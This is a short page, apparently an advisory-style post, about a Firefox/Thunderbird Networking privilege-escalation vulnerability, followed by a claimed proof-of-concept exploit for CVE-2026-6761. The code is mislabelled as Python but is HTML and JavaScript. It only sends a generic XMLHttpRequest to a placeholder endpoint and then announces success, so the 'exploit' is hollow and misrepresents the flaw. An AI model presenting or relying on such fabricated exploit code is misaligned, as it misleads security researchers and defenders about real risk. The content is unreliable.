Privilege escalation in the Networking component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-6761 -->
<!-- This script attempts to trigger the privilege escalation vulnerability -->
<!-- in the Networking component of Firefox/Thunderbird versions < 150 -->
<html>
<body>
<h1>CVE-2026-6761 PoC Test</h1>
<script>
// Attempt to exploit the networking component
try {
// Simulate the specific networking call that triggers the flaw
var vulnerableRequest = new XMLHttpRequest();
vulnerableRequest.open('GET', 'exploit_trigger_endpoint', true);
vulnerableRequest.send();
console.log("Exploit triggered. Check for privilege escalation.");
} catch (e) {
console.log("Exploit failed or patched.");
}
</script>
</body>
</html>